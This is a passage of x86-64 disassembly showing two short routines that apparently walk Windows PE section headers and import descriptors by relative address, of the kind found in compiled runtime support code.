nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x402b7c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x402b90
add rdx, 0x28
cmp rdx, r10
jne 0x402b68
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x402ba0
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x402bae
mov edx, dword [rax + 0xc]
test edx, edx
je 0x402b85
test r8d, r8d
jg 0x402b98
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret